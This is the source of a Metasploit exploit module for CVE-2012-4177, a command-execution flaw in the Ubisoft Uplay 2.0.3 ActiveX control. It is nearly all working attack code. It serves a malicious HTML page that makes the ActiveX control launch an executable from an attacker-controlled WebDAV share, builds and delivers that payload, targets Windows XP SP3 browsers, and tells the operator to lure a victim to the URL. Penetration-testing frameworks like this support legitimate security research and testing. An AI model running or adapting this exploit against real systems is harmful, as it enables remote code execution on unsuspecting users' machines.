modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb from rapid7/metasploit-framework

modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb
Summary

Maintainability

3 days
Test Coverage

Issues
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Ubisoft uplay 2.0.3 ActiveX Control Arbitrary Code Execution',
      'Description'    => %q{
        The uplay ActiveX component allows an attacker to execute any command line action.
        User must sign in, unless auto-sign in is enabled and uplay must not already be
        running.  Due to the way the malicious executable is served (WebDAV), the module
        must be run on port 80, so please make sure you have enough privilege to do that.
        Ubisoft released patch 2.04 as of Mon 20th July.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Tavis Ormandy <taviso[at]cmpxchg8b.com>', # Initial discovery
          'Ben Campbell',
          'phillips321 <phillips321[at]phillips321.co.uk>',
          'Richard Hicks <scriptmonkeyblog[at]gmail.com>'
        ],
      'References'     =>
        [
          [ 'CVE', '2012-4177' ],
          [ 'OSVDB', '84402'],
          [ 'URL', 'https://seclists.org/fulldisclosure/2012/Jul/375'],
          [ 'URL', 'http://forums.ubi.com/showthread.php/699940-Uplay-PC-Patch-2-0-4-Security-fix' ]
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', { } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2012-07-29'))

    register_options(
    [
      OptPort.new('SRVPORT', [true, "The daemon port to listen on (do not change)", 80]),
      OptString.new('URIPATH', [true, "The URI to use (do not change).", "/"]),
      OptString.new('EXPLOITPATH', [false, "The URI to use for the exploit"])
    ])

    # WebDAV does not support SSL and must run over port 80.
    deregister_options('SSL', 'SSLVersion', 'SSLCert', 'SRVPORT' 'URIPATH')
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def is_exploitable?(req)
    # Only engage Win XP SP3 targets
    req.headers['User-Agent'] =~ /NT 5\.1/
  end

  def on_request_uri(cli, request)
    case request.method
    when 'OPTIONS'
      process_options(cli, request)
    when 'PROPFIND'
      process_propfind(cli, request)
    when 'GET'
      if request.uri_parts['Resource'].include? @uplay_uri
        if is_exploitable?(request)
          prompt_uplay(cli, request)
        else
          print_error("Not the target we want, will not engage.")
          resp = create_response(404, "Not Found")
          resp.body = ""
          resp['Content-Type'] = 'text/html'
          cli.send_response(resp)
        end
      else
        process_get(cli, request)
      end
    else
      vprint_status("#{request.method} => 404 (#{request.uri})")
      resp = create_response(404, "Not Found")
      resp.body = ""
      resp['Content-Type'] = 'text/html'
      cli.send_response(resp)
    end
  end

  def prompt_uplay(cli, request)
    url =  "http://"
    url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
    url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/"

    path = "#{@exploit_unc}#{@share_name}\\#{@basename}.exe"

    if path.length > 693
      fail_with(Failure::Unknown,"Remote path is too long must be < 694 characters")
      return
    end

    cmd = Rex::Text.encode_base64(path)

    classid = "clsid:1c492e6a-2803-5ed7-83e1-1b1d4d41eb39"
    type = "application/x-uplaypc" # Unused but alternative to classid
    content = %Q|<html>
<body>
<script>
x = document.createElement('OBJECT');
x.classid='#{classid}';
document.body.appendChild(x);
x.open('-orbit_product_id 1 -orbit_exe_path #{cmd} -uplay_steam_mode -uplay_dev_mode -uplay_dev_mode_auto_play');
</script>
</body>
</html>|

    print_status("GET => Exploit")
    send_response_html(cli, content)
    handler(cli)
  end

  def process_get(cli, request)
    myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
    webdav = "\\\\#{myhost}\\"

    if blacklisted_path?(request.uri)
      vprint_status("GET => 404 [BLACKLIST] (#{request.uri})")
      resp = create_response(404, "Not Found")
      resp.body = ""
      cli.send_response(resp)
      return
    end

    if (request.uri.include? @basename)
      print_status("GET => Payload")
      return if ((p = regenerate_payload(cli)) == nil)
      data = generate_payload_exe({ :code => p.encoded })
      send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
      return
    end

    # Treat index.html specially
    if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i)
      vprint_status("GET => REDIRECT (#{request.uri})")
      resp = create_response(200, "OK")

      resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=#{@exploit_unc}#{@share_name}\\"></head><body></body></html>|

      resp['Content-Type'] = 'text/html'
      cli.send_response(resp)
      return
    end

    # Anything else is probably a request for a data file...
    vprint_status("GET => DATA (#{request.uri})")
    data = "HELLO!"
    send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
  end

  #
  # OPTIONS requests sent by the WebDav Mini-Redirector
  #
  def process_options(cli, request)
    vprint_status("OPTIONS #{request.uri}")
    headers = {
      'MS-Author-Via' => 'DAV',
      'DASL'          => '<DAV:sql>',
      'DAV'           => '1, 2',
      'Allow'         => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
      'Public'        => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
      'Cache-Control' => 'private'
    }
    resp = create_response(207, "Multi-Status")
    headers.each_pair {|k,v| resp[k] = v }
    resp.body = ""
    resp['Content-Type'] = 'text/xml'
    cli.send_response(resp)
  end

  #
  # PROPFIND requests sent by the WebDav Mini-Redirector
  #
  def process_propfind(cli, request)
    path = request.uri
    vprint_status("PROPFIND #{path}")
    body = ''

    my_host   = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
    my_uri    = "http://#{my_host}/"

    if path !~ /\/$/

      if blacklisted_path?(path)
        vprint_status "PROPFIND => 404 (#{path})"
        resp = create_response(404, "Not Found")
        resp.body = ""
        cli.send_response(resp)
        return
      end

      if path.index(".")
        vprint_status "PROPFIND => 207 File (#{path})"
        body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
        # send the response
        resp = create_response(207, "Multi-Status")
        resp.body = body
        resp['Content-Type'] = 'text/xml; charset="utf8"'
        cli.send_response(resp)
        return
      else
        vprint_status "PROPFIND => 301 (#{path})"
        resp = create_response(301, "Moved")
        resp["Location"] = path + "/"
        resp['Content-Type'] = 'text/html'
        cli.send_response(resp)
        return
      end
    end

    vprint_status "PROPFIND => 207 Directory (#{path})"
    body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
  <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
    <D:href>#{path}</D:href>
    <D:propstat>
      <D:prop>
        <lp1:resourcetype><D:collection/></lp1:resourcetype>
        <lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
        <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
        <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
        <D:supportedlock>
          <D:lockentry>
            <D:lockscope><D:exclusive/></D:lockscope>
            <D:locktype><D:write/></D:locktype>
          </D:lockentry>
          <D:lockentry>
            <D:lockscope><D:shared/></D:lockscope>
            <D:locktype><D:write/></D:locktype>
          </D:lockentry>
        </D:supportedlock>
        <D:lockdiscovery/>
        <D:getcontenttype>httpd/unix-directory</D:getcontenttype>
      </D:prop>
    <D:status>HTTP/1.1 200 OK</D:status>
  </D:propstat>
</D:response>
|

    if request["Depth"].to_i > 0
      trail = path.split("/")
      trail.shift
      case trail.length
      when 0
        body << generate_shares(path)
      when 1
        body << generate_files(path)
      end
    else
      vprint_status "PROPFIND => 207 Top-Level Directory"
    end

    body << "</D:multistatus>"

    body.gsub!(/\t/, '')

    # send the response
    resp = create_response(207, "Multi-Status")
    resp.body = body
    resp['Content-Type'] = 'text/xml; charset="utf8"'
    cli.send_response(resp)
  end

  def generate_shares(path)
    share_name = @share_name
%Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{share_name}/</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
  end

  def generate_files(path)
    trail = path.split("/")
    return "" if trail.length < 2

    base  = @basename
    exts  = @extensions.gsub(",", " ").split(/\s+/)
    files = ""
    exts.each do |ext|
      files << %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{base}.#{ext}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
<D:ishidden b:dt="boolean">1</D:ishidden>
</D:propstat>
</D:response>
|
    end

    files
  end

  def gen_timestamp(ttype=nil)
    ::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
  end

  def gen_datestamp(ttype=nil)
    ::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
  end

  # This method rejects requests that are known to break exploitation
  def blacklisted_path?(uri)
    share_path = "/#{@share_name}"
    payload_path = "#{share_path}/#{@basename}.exe"
    case uri
    when payload_path
      return false
    when share_path
      return false
    else
      return true
    end
  end

  def exploit
    @basename = rand_text_alpha(8)
    @share_name = rand_text_alpha(8)
    @extensions = "exe"

    if datastore['EXPLOITPATH']
      @uplay_uri = datastore['EXPLOITPATH']
    else
      @uplay_uri = rand_text_alpha(8)
    end

    myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']

    @exploit_unc  = "\\\\#{myhost}\\"

    if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
      fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
    end

    vprint_status("Payload available at #{@exploit_unc}#{@share_name}\\#{@basename}.exe")
    print_good("Please let your victim browse to this exploit URI: http://#{myhost}:#{datastore['SRVPORT']}/#{@uplay_uri}")

    super
  end
end